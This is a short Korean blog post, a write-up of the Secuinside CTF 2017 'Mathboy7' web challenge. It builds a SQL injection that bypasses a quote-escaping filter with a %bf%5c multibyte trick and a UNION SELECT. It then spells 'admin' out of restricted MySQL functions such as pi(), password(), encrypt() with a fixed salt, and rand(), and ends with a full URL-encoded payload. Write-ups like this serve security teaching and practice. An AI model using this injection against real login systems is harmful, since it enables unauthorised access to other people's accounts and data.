2017년 7월 2일 일요일

Secuinside CTF 2017 - Mathboy7 Write up (Web)

풀이 방법

여러 테스트를 통하여 user테이블이 비어있다는 사실을 확인할 수 있다.
즉, union select를 사용해서 'admin'을 출력해야 한다.
e.g. ?id=%bf%5c&pw=union select true,true,true%23

그리고 사용할 수 있는 함수가 제한적이기 때문에
사용할 수 있는 키워드로 문자를 표현해야 한다. 아래와 같이 문자 표현이 가능하다.
e.g. mid(password(pi()),floor(pi()*pi()*floor(pi()))+ceil(pi()+pi()) = "AD"

encrypt함수를 사용하면 랜덤으로 값을 나오게 할 수 있다.
e.g. mid(encrypt(true), true, true+true+true+true+true)

여기서 위의 함수를 사용해서 admin을 표현하는 풀이 방법이 있고
encrypt함수를 사용해서 랜덤으로 admin을 표현하는 방법이 있다.
다만 랜덤으로 admin을 나오게 하려면 시간이 얼마나 걸릴지 모르기 때문에
나는 여기서 효율적으로 경우의 수를 줄이는 방법을 생각했다.

mysql ref doc을 보면 encrypt(str[, salt]) 이렇게 두번 째 인자에 salt를 받는다.
salt는 2자리만 가능한데, 삽질을 하던 중 salt에 "AA" 이렇게 넣으면
랜덤으로 나오는 문자열의 맨 앞 2자리를 "AA"로 고정시킬 수 있다는 사실을 알았다.

이러한 점을 이용해서 맨앞 2자리를 "AD"로 고정시키고
뒤의 3자리는 랜덤하게 돌리는 쪽으로 풀어나갔다.
다만 encrypt는 1초마다 랜덤값이 바뀌므로 너무 느리다.
때문에, 뒤의 3자리는 rand함수를 이용해서 admin을 표현했다.

payload
id=%bf%5c&pw=union+select+mid%28encrypt%28rand%28%29%2C+mid%28password%28pi%28%29%29%2Cfloor%28pi%28%29*pi%28%29*floor%28pi%28%29%29%29%2Bceil%28pi%28%29%2Bpi%28%29%29%2Ctrue%2Btrue%29%29%2Ctrue%2Cpi%28%29%2Btrue%2Btrue%29%2Ctrue%2Ctrue%23








댓글 없음:

댓글 쓰기